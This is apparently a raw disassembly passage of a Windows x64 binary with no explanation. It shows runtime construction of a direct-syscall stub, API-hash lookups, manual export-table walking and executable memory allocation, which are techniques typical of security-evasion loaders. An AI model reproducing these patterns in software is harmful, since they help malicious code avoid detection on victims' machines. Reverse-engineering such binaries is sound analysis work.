rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10210]
mov rcx, qword [rsp + 0xb498]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xb4a0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2d80], eax
lea rax, [rsp + 0x6fdc]
mov qword [rsp + 0xb4b8], rax
lea rax, [rsp + 0x2d7c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2d7c]
call fcn.14009b310
mov qword [rsp + 0xb4b0], rax
lea rax, [rsp + 0x10220]
mov rdi, rax
mov rsi, qword [rsp + 0xb4a8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10230]
lea rcx, [rsp + 0x10220]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10230]
mov rcx, qword [rsp + 0xb4b0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xb4b8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2d84], eax
mov r8d, dword [rsp + 0x2d80]
mov edx, dword [rsp + 0x2d84]
lea rcx, [rsp + 0x40e0]
call fcn.140191150
mov qword [rsp + 0x14a8], rax
jmp 0x1401495a0
mov rax, qword [rsp + 0x40d8]
mov rax, qword [rax]
mov qword [rsp + 0x14a8], rax
jmp 0x1401495a0
mov qword [rsp + 0x14a8], 0
mov rax, qword [rsp + 0x14a8]
mov qword [rsp + 0x40e0], rax
lea rcx, [rsp + 0x40e0]
call fcn.1400a2c10
mov qword [rsp + 0xb4c0], rax
mov eax, dword [rsp + 0x6758]
mov dword [rsp + 0x2d88], eax
mov rax, qword [rsp + 0xb4c0]
mov qword [rsp + 0xb4c8], rax
mov eax, dword [rsp + 0x2d88]
mov dword [rsp + 0x2d90], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10240]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb4d0], rax
lea r9, [rsp + 0xb4c8]
lea r8, [rsp + 0x2d90]
lea rdx, [rsp + 0x12a98]
mov rcx, qword [rsp + 0xb4d0]
call fcn.140098320
lea rcx, [rsp + 0x10240]
call fcn.1400a0f80
lea rcx, [rsp + 0x40e0]
call fcn.1400a2c10
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xb4d8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2d98], eax
mov eax, dword [rsp + 0x2d98]
mov dword [rsp + 0x675c], eax
lea rax, [rsp + 0x6760]
mov qword [rsp + 0xb4e0], rax
mov eax, dword [rsp + 0x675c]
mov dword [rsp + 0x2da0], eax
mov rax, qword [rsp + 0xb4e0]
add rax, 0x11
mov qword [rsp + 0xb4e8], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xb4e8]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2da0]
mov dword [rax], ecx
lea rax, [rsp + 0x6760]
mov qword [rsp + 0x698], rax
mov rax, qword [rsp + 0x698]
add rax, 0x10
mov qword [rsp + 0x11738], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xb4f0], rax
mov qword [rsp + 0x58f8], 0
mov qword [rsp + 0xb4f8], 0xd
mov rax, qword [rsp + 0xb4f0]
mov qword [rsp + 0xb500], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xb4f8]
xor r8d, r8d
lea rdx, [rsp + 0x58f8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xb500]
mov dword [rsp + 0x2da8], eax
cmp dword [rsp + 0x2da8], 0
jl 0x140149784
mov rax, qword [rsp + 0x58f8]
mov qword [rsp + 0x5900], rax
jmp 0x140149790
mov qword [rsp + 0x5900], 0
mov rax, qword [rsp + 0x5900]
mov qword [rsp + 0xb508], rax
mov rax, qword [rsp + 0x698]
mov rcx, qword [rsp + 0xb508]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x698]
cmp qword [rax + 8], 0
jne 0x1401497c5
jmp 0x140149809
mov rax, qword [rsp + 0x698]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x698]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x698]
mov rcx, qword [rsp + 0x698]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6760]
mov qword [rsp + 0xb560], rax
mov rax, qword [rsp + 0xb510]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb518]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb520]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb528]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xb530]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb538]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb540]
mov r8, qword [rsp + 0xb548]
mov rdx, qword [rsp + 0xb550]
mov rcx, qword [rsp + 0xb558]
call qword [rsp + 0xb560]
mov dword [rsp + 0x2dac], eax
lea rcx, [rsp + 0x6758]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2dac]
mov dword [rsp + 0x2db0], eax
cmp dword [rsp + 0x2db0], 0
jge 0x1401498c4
mov byte [rsp + 0x94], 0
jmp 0x1401498cc
mov byte [rsp + 0x94], 1
lea rax, [rsp + 0x5908]
mov qword [rsp + 0x5918], rax
mov rax, qword [rsp + 0x5910]
mov qword [rsp + 0x5920], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xb568]
mov qword [rsp + 0xb5b0], rax
cmp qword [rsp + 0x5920], 0
je 0x14014992a
cmp qword [rsp + 0x5918], 0
je 0x14014992a
xor eax, eax
cmp rax, 8
jne 0x140149937
mov byte [rsp + 0x95], 0
jmp 0x14014aa96
lea rax, [rsp + 0xdae8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xdae8], 0x33
mov rax, qword [rsp + 0x5918]
mov qword [rsp + 0xdaf8], rax
mov rax, qword [rsp + 0x5920]
mov qword [rsp + 0xdb00], rax
mov qword [rsp + 0xdb08], 8
mov dword [rsp + 0x2df4], 0
mov qword [rsp + 0xb578], 0
mov qword [rsp + 0xb580], 0x28
lea rax, [rsp + 0xdae8]
mov qword [rsp + 0xb588], rax
lea rax, [rsp + 0x12aa8]
mov qword [rsp + 0xb590], rax
mov qword [rsp + 0xb598], 0
mov qword [rsp + 0xb5a0], 0
mov qword [rsp + 0xb5a8], 0
mov dword [rsp + 0x2db4], 0x9363e455
mov eax, dword [rsp + 0x2db4]
mov dword [rsp + 0x2db8], eax
lea rcx, [rsp + 0x2db8]
call fcn.1400a2c20
mov dword [rsp + 0x6780], eax
mov dword [rsp + 0x6784], 0
lea rax, [rsp + 0x6788]
mov qword [rsp + 0xb570], rax
mov dword [rsp + 0x2df0], 0x49
mov dword [rsp + 0x2dec], 0x89
mov dword [rsp + 0x2de8], 0xca
mov dword [rsp + 0x2de4], 0x48
mov dword [rsp + 0x2de0], 0xc7
mov dword [rsp + 0x2ddc], 0xc0
mov dword [rsp + 0x2dd8], 0x3f
mov dword [rsp + 0x2dd4], 0x10
mov dword [rsp + 0x2dd0], 0
mov dword [rsp + 0x2dcc], 0
mov dword [rsp + 0x2dc8], 0xf
mov dword [rsp + 0x2dc4], 5
mov dword [rsp + 0x2dc0], 0xc3
lea rax, [rsp + 0x2dc0]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2dc4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2dc8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2dcc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2dd0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2dd4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2dd8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2ddc]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2de0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2de4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2de8]
lea r8, [rsp + 0x2dec]
lea rdx, [rsp + 0x2df0]
mov rcx, qword [rsp + 0xb570]
call fcn.14008f900
mov byte [rsp + 0x417], 1
mov byte [rsp + 0x418], 0
movsxd rax, dword [rsp + 0x2df4]
mov qword [rsp + 0xb6e8], rax
mov byte [rsp + 0x419], 0
mov byte [rsp + 0x41a], 0
mov rax, qword [rsp + 0xb578]
mov qword [rsp + 0xb6f0], rax
mov byte [rsp + 0x41b], 0
mov byte [rsp + 0x41c], 1
mov rax, qword [rsp + 0xb580]
mov qword [rsp + 0xb6f8], rax
mov byte [rsp + 0x41d], 0
mov byte [rsp + 0x41e], 0
mov rax, qword [rsp + 0xb588]
mov qword [rsp + 0xb700], rax
mov byte [rsp + 0x41f], 0
mov byte [rsp + 0x420], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xb708], rax
mov byte [rsp + 0x421], 0
mov byte [rsp + 0x422], 0
mov rax, qword [rsp + 0xb590]
mov qword [rsp + 0xb710], rax
mov byte [rsp + 0x423], 0
mov byte [rsp + 0x424], 0
mov rax, qword [rsp + 0xb598]
mov qword [rsp + 0xb718], rax
mov byte [rsp + 0x425], 0
mov byte [rsp + 0x426], 0
mov rax, qword [rsp + 0xb5a0]
mov qword [rsp + 0xb720], rax
mov byte [rsp + 0x427], 0
mov byte [rsp + 0x428], 0
mov rax, qword [rsp + 0xb5a8]
mov qword [rsp + 0xb728], rax
mov byte [rsp + 0x429], 0
mov byte [rsp + 0x42a], 0
mov rax, qword [rsp + 0xb5b0]
mov qword [rsp + 0xb730], rax
mov eax, dword [rsp + 0x6780]
mov dword [rsp + 0x2df8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10250]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb5b8], rax
lea r8, [rsp + 0x2df8]
lea rdx, [rsp + 0x5928]
mov rcx, qword [rsp + 0xb5b8]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb5c0], rax
lea rdx, [rsp + 0x11740]
mov rcx, qword [rsp + 0xb5c0]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5928]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140149d48
mov qword [rsp + 0x5930], 0
jmp 0x140149d61
lea rcx, [rsp + 0x5928]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5930], rax
mov rax, qword [rsp + 0x5930]
mov qword [rsp + 0xb5c8], rax
lea rcx, [rsp + 0x10250]
call fcn.1400a0f10
mov rax, qword [rsp + 0xb5c8]
mov qword [rsp + 0x5938], rax
cmp qword [rsp + 0x5938], 0
je 0x140149dbe
mov rax, qword [rsp + 0x5938]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2e00], eax
mov eax, dword [rsp + 0x2e00]
mov dword [rsp + 0x6784], eax
jmp 0x14014a84c
lea rax, [rsp + 0x6fe0]
mov qword [rsp + 0xb5d0], rax
xor edx, edx
mov rcx, qword [rsp + 0xb5d0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2e04], eax
lea rax, [rsp + 0x6fe4]
mov qword [rsp + 0xb5d8], rax
mov edx, dword [rsp + 0x6780]
mov rcx, qword [rsp + 0xb5d8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2e08], eax
mov eax, dword [rsp + 0x2e04]
mov dword [rsp + 0xd88], eax
mov eax, dword [rsp + 0x2e08]
mov dword [rsp + 0xda0], eax
xor edx, edx
lea rcx, [rsp + 0x2e0c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2e0c]
lea rcx, [rsp + 0xda0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140149e6b
mov qword [rsp + 0x14b8], 0
jmp 0x14014a76a
mov byte [rsp + 0x42b], 1
mov qword [rsp + 0x6ac0], 0
mov qword [rsp + 0x6ac8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x40e8], rax
mov eax, 1
test eax, eax
je 0x140149ebd
mov rax, qword [rsp + 0x40e8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5940], rax
jmp 0x140149ed0
mov rax, qword [rsp + 0x40e8]
mov rax, qword [rax]
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x5940]
mov qword [rsp + 0x6ac0], rax
mov rax, qword [rsp + 0x40e8]
mov qword [rsp + 0x6ac8], rax
lea rax, [rsp + 0x6ac0]
mov qword [rsp + 0x5948], rax
lea rdx, [rsp + 0x14b0]
mov rcx, qword [rsp + 0x5948]
call fcn.14018efb0
lea rdx, [rsp + 0xb5e0]
mov rcx, qword [rsp + 0x5948]
call fcn.140190a30
jmp 0x140149f3f
mov rax, qword [rsp + 0x14b0]
mov rax, qword [rax]
mov qword [rsp + 0x14b0], rax
mov rax, qword [rsp + 0xb5e0]
cmp qword [rsp + 0x14b0], rax
je 0x140149f5e
mov dword [rsp + 0xd84], 1
jmp 0x140149f69
mov dword [rsp + 0xd84], 0
movzx eax, byte [rsp + 0xd84]
test eax, eax
je 0x14014a75e
xor edx, edx
mov rcx, qword [rsp + 0x14b0]
call fcn.140096d90
mov qword [rsp + 0xb5e8], rax
lea rax, [rsp + 0xb5e8]
mov qword [rsp + 0x5950], rax
xor edx, edx
lea rcx, [rsp + 0x2e10]
call fcn.14009b2f0
lea rdx, [rsp + 0x2e10]
lea rcx, [rsp + 0xd88]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014a209
mov rax, qword [rsp + 0x5950]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xb5f0], rax
lea rdx, [rsp + 0x12ab8]
mov rcx, qword [rsp + 0xb5f0]
call fcn.14019acf0
lea rcx, [rsp + 0x10260]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xd88]
mov dword [rsp + 0x2e14], eax
lea rax, [rsp + 0xd3c0]
lea rcx, [rsp + 0x10260]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2e14]
mov dword [rsp + 0xd90], eax
lea rax, [rsp + 0x2e18]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2e18]
call fcn.14009b310
mov qword [rsp + 0xb5f8], rax
lea rax, [rsp + 0x10270]
lea rcx, [rsp + 0xd3c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10280]
lea rcx, [rsp + 0x10270]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10280]
mov rcx, qword [rsp + 0xb5f8]
call fcn.140097890
mov dword [rsp + 0x2e20], eax
lea rcx, [rsp + 0xd3c0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xb600], rax
mov r9, qword [rsp + 0xb600]
xor r8d, r8d
lea rdx, [rsp + 0x10290]
lea rcx, [rsp + 0xd3c0]
call fcn.14019ab70
lea rax, [rsp + 0x2e1c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2e1c]
call fcn.14009b310
mov qword [rsp + 0xb608], rax
lea rax, [rsp + 0x102a0]
lea rcx, [rsp + 0x10290]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x102b0]
lea rcx, [rsp + 0x102a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x102b0]
mov rcx, qword [rsp + 0xb608]
call fcn.140097890
mov dword [rsp + 0x2e28], eax
mov edx, dword [rsp + 0x2e20]
lea rcx, [rsp + 0x2e24]
call fcn.14009b2f0
lea rdx, [rsp + 0x2e24]
lea rcx, [rsp + 0xd90]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014a1ed
mov edx, dword [rsp + 0x2e28]
lea rcx, [rsp + 0x2e2c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2e2c]
lea rcx, [rsp + 0xd90]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014a1ed
mov dword [rsp + 0xd98], 1
jmp 0x14014a1f8
mov dword [rsp + 0xd98], 0
movzx eax, byte [rsp + 0xd98]
test eax, eax
je 0x14014a209
jmp 0x140149f2c
mov rax, qword [rsp + 0x5950]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5958], rax
mov rax, qword [rsp + 0x5958]
mov qword [rsp + 0x4578], rax
mov rax, qword [rsp + 0x5958]
mov qword [rsp + 0xb610], rax
mov rax, qword [rsp + 0xb610]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb618], rax
mov rax, qword [rsp + 0xb618]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xb620], rax
mov eax, dword [rsp + 0xb620]
add rax, qword [rsp + 0x4578]
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0xb628]
mov qword [rsp + 0x4580], rax
lea rdx, [rsp + 0xda0]
lea rcx, [rsp + 0x6fe8]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11f98]
lea rcx, [rsp + 0x4578]
call fcn.140097040
lea rdx, [rsp + 0x13b00]
lea rcx, [rsp + 0x4578]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11f98]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14014a2f5
jmp 0x140149f2c
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14014a378
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11fa8]
mov qword [rsp + 0x5960], rax
mov rcx, qword [rsp + 0x5960]
call fcn.140097960
mov qword [rsp + 0x11748], rax
mov rcx, qword [rsp + 0x5960]
call fcn.140097950
mov qword [rsp + 0x40f8], rax
mov rax, qword [rsp + 0x40f8]
mov rax, qword [rax]
mov qword [rsp + 0x5978], rax
mov rax, qword [rsp + 0x4578]
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0xb630]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb638], rax
mov rax, qword [rsp + 0xb638]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5968], rax
mov eax, dword [rsp + 0x5968]
add rax, qword [rsp + 0x4578]
mov qword [rsp + 0x5970], rax
mov eax, dword [rsp + 0x596c]
mov rcx, qword [rsp + 0x5970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb640], rax
mov rax, qword [rsp + 0x5970]
cmp qword [rsp + 0x5978], rax
jb 0x14014a46a
mov rax, qword [rsp + 0xb640]
cmp qword [rsp + 0x5978], rax
jae 0x14014a46a
mov dword [rsp + 0xda8], 1
jmp 0x14014a475
mov dword [rsp + 0xda8], 0
movzx eax, byte [rsp + 0xda8]
mov byte [rsp + 0xff], al
movzx eax, byte [rsp + 0xff]
test eax, eax
je 0x14014a744
mov rax, qword [rsp + 0x40f8]
mov rax, qword [rax]
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0xb648]
mov qword [rsp + 0xb650], rax
lea rax, [rsp + 0x12ac8]
mov qword [rsp + 0xb658], rax
mov rdx, qword [rsp + 0xb650]
mov rcx, qword [rsp + 0xb658]
call fcn.140095590
lea rcx, [rsp + 0x6ad0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6ad0]
call fcn.140191090
mov qword [rsp + 0x40f0], rax
cmp qword [rsp + 0x40f0], 0xffffffffffffffff
je 0x14014a57f
mov rax, qword [rsp + 0x40f8]
mov rax, qword [rax]
mov qword [rsp + 0x14b8], rax
jmp 0x14014a76a
mov qword [rsp + 0x14b8], 0
mov rax, qword [rsp + 0x14b8]
mov qword [rsp + 0x4100], rax
lea rcx, [rsp + 0x4100]
call fcn.1400a2c10
mov qword [rsp + 0xb698], rax
mov eax, dword [rsp + 0x6780]
mov dword [rsp + 0x2e40], eax
mov rax, qword [rsp + 0xb698]
mov qword [rsp + 0xb6a0], rax
mov eax, dword [rsp + 0x2e40]
mov dword [rsp + 0x2e48], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10330]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb6a8], rax
lea r9, [rsp + 0xb6a0]
lea r8, [rsp + 0x2e48]
lea rdx, [rsp + 0x12ad8]
mov rcx, qword [rsp + 0xb6a8]
call fcn.140098320
lea rcx, [rsp + 0x10330]
call fcn.1400a0f80
lea rcx, [rsp + 0x4100]
call fcn.1400a2c10
mov qword [rsp + 0xb6b0], rax
mov rax, qword [rsp + 0xb6b0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2e50], eax
mov eax, dword [rsp + 0x2e50]
mov dword [rsp + 0x6784], eax
lea rax, [rsp + 0x6788]
mov qword [rsp + 0xb6b8], rax
mov eax, dword [rsp + 0x6784]
mov dword [rsp + 0x2e58], eax
mov rax, qword [rsp + 0xb6b8]
add rax, 0x11
mov qword [rsp + 0xb6c0], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xb6c0]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2e58]
mov dword [rax], ecx
lea rax, [rsp + 0x6788]
mov qword [rsp + 0x6a0], rax
mov rax, qword [rsp + 0x6a0]
add rax, 0x10
mov qword [rsp + 0x11750], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xb6c8], rax
mov qword [rsp + 0x5980], 0
mov qword [rsp + 0xb6d0], 0xd
mov rax, qword [rsp + 0xb6c8]
mov qword [rsp + 0xb6d8], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xb6d0]
xor r8d, r8d
lea rdx, [rsp + 0x5980]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xb6d8]
mov dword [rsp + 0x2e60], eax
cmp dword [rsp + 0x2e60], 0
jl 0x14014a94e
mov rax, qword [rsp + 0x5980]
mov qword [rsp + 0x5988], rax
jmp 0x14014a95a
mov qword [rsp + 0x5988], 0
mov rax, qword [rsp + 0x5988]
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0x6a0]
mov rcx, qword [rsp + 0xb6e0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x6a0]
cmp qword [rax + 8], 0
jne 0x14014a98f
jmp 0x14014a9d3
mov rax, qword [rsp + 0x6a0]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x6a0]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x6a0]
mov rcx, qword [rsp + 0x6a0]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6788]
mov qword [rsp + 0xb738], rax
mov rax, qword [rsp + 0xb6e8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb6f0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb6f8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb700]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xb708]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb710]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb718]
mov r8, qword [rsp + 0xb720]
mov rdx, qword [rsp + 0xb728]
mov rcx, qword [rsp + 0xb730]
call qword [rsp + 0xb738]
mov dword [rsp + 0x2e64], eax
lea rcx, [rsp + 0x6780]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2e64]
mov dword [rsp + 0x2e68], eax
cmp dword [rsp + 0x2e68], 0
jge 0x14014aa8e
mov byte [rsp + 0x95], 0
jmp 0x14014aa96
mov byte [rsp + 0x95], 1
mov dword [rsp + 0x1a8], 0
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x5990], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb740], rax
mov rax, qword [rsp + 0xb740]
mov qword [rsp + 0xb788], rax
cmp qword [rsp + 0x5990], 0
je 0x14014aaef
cmp qword [rsp + 0x730], 0
je 0x14014aaef
xor eax, eax
cmp rax, 4
jne 0x14014aafc
mov byte [rsp + 0x96], 0
jmp 0x14014bc5b
lea rax, [rsp + 0xdb10]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xdb10], 0x33
mov rax, qword [rsp + 0x730]
mov qword [rsp + 0xdb20], rax
mov rax, qword [rsp + 0x5990]
mov qword [rsp + 0xdb28], rax
mov qword [rsp + 0xdb30], 4
mov dword [rsp + 0x2eac], 0
mov qword [rsp + 0xb750], 0
mov qword [rsp + 0xb758], 0x28
lea rax, [rsp + 0xdb10]
mov qword [rsp + 0xb760], rax
lea rax, [rsp + 0x12ae8]
mov qword [rsp + 0xb768], rax
mov qword [rsp + 0xb770], 0
mov qword [rsp + 0xb778], 0
mov qword [rsp + 0xb780], 0
mov dword [rsp + 0x2e6c], 0x9363e455
mov eax, dword [rsp + 0x2e6c]
mov dword [rsp + 0x2e70], eax
lea rcx, [rsp + 0x2e70]
call fcn.1400a2c20
mov dword [rsp + 0x67a8], eax
mov dword [rsp + 0x67ac], 0
lea rax, [rsp + 0x67b0]
mov qword [rsp + 0xb748], rax
mov dword [rsp + 0x2ea8], 0x49
mov dword [rsp + 0x2ea4], 0x89
mov dword [rsp + 0x2ea0], 0xca
mov dword [rsp + 0x2e9c], 0x48
mov dword [rsp + 0x2e98], 0xc7
mov dword [rsp + 0x2e94], 0xc0
mov dword [rsp + 0x2e90], 0x3f
mov dword [rsp + 0x2e8c], 0x10
mov dword [rsp + 0x2e88], 0
mov dword [rsp + 0x2e84], 0
mov dword [rsp + 0x2e80], 0xf
mov dword [rsp + 0x2e7c], 5
mov dword [rsp + 0x2e78], 0xc3
lea rax, [rsp + 0x2e78]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2e7c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2e80]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2e84]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2e8c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2e90]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2e94]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2e98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2e9c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2ea0]
lea r8, [rsp + 0x2ea4]
lea rdx, [rsp + 0x2ea8]
mov rcx, qword [rsp + 0xb748]
call fcn.14008f900
mov byte [rsp + 0x42c], 1
mov byte [rsp + 0x42d], 0
movsxd rax, dword [rsp + 0x2eac]
mov qword [rsp + 0xb8c0], rax
mov byte [rsp + 0x42e], 0
mov byte [rsp + 0x42f], 0
mov rax, qword [rsp + 0xb750]
mov qword [rsp + 0xb8c8], rax
mov byte [rsp + 0x430], 0
mov byte [rsp + 0x431], 1
mov rax, qword [rsp + 0xb758]
mov qword [rsp + 0xb8d0], rax
mov byte [rsp + 0x432], 0
mov byte [rsp + 0x433], 0
mov rax, qword [rsp + 0xb760]
mov qword [rsp + 0xb8d8], rax
mov byte [rsp + 0x434], 0
mov byte [rsp + 0x435], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xb8e0], rax
mov byte [rsp + 0x436], 0
mov byte [rsp + 0x437], 0
mov rax, qword [rsp + 0xb768]
mov qword [rsp + 0xb8e8], rax
mov byte [rsp + 0x438], 0
mov byte [rsp + 0x439], 0
